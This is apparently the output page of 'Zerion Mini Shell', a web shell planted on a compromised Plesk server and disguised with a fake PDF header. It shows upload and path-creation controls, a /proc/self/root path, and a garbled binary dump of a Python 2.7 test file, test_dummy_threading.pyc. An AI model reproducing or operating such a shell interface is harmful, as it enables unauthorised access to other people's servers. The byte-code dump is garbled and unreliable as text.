%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/test/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/test/test_dummy_threading.pyc

�
5}�ac@spddlmZddlZddlZddlZdejfd��YZd�Ze	dkrle�ndS(i����(ttest_supportNtDummyThreadingTestCasecBs3eZdejfd��YZd�Zd�ZRS(t
TestThreadcBseZd�ZRS(cCs�d}tjr*dG|jGdG|GdGHntj�tj�td7atjr]tGdGHntj�tj	|�tjr�dG|jGdGHntj�td8atjr�|jGdGtGdGHntj�tj�dS(	Nittaskswill run fortsecistasks are runningtdonesis finished.(
Rtverbosetnametsematacquiretmutextrunningtreleasettimetsleep(tselftdelay((sB/opt/plesk/python/2.7/lib64/python2.7/test/test_dummy_threading.pytrun
s$	


	

	

	
(t__name__t
__module__R(((sB/opt/plesk/python/2.7/lib64/python2.7/test/test_dummy_threading.pyRscCs:d|_tjdd�atj�adag|_dS(Ni
tvalueii(tnumtaskst
_threadingtBoundedSemaphoreRtRLockR
Rtthreads(R((sB/opt/plesk/python/2.7/lib64/python2.7/test/test_dummy_threading.pytsetUp$s
	cCs�xGt|j�D]6}|jdd|�}|jj|�|j�qWtjr[dGHnx|jD]}|j�qeWtjr�dGHndS(NRs<thread %d>s!waiting for all tasks to completesall tasks done(	trangeRRRtappendtstartRRtjoin(Rtitt((sB/opt/plesk/python/2.7/lib64/python2.7/test/test_dummy_threading.pyt
test_tasks.s		(RRRtThreadRRR!(((sB/opt/plesk/python/2.7/lib64/python2.7/test/test_dummy_threading.pyRs	
cCstjt�dS(N(Rtrun_unittestR(((sB/opt/plesk/python/2.7/lib64/python2.7/test/test_dummy_threading.pyt	test_main;st__main__(
ttestRtunittesttdummy_threadingRR
tTestCaseRR$R(((sB/opt/plesk/python/2.7/lib64/python2.7/test/test_dummy_threading.pyt<module>s5	

Zerion Mini Shell 1.0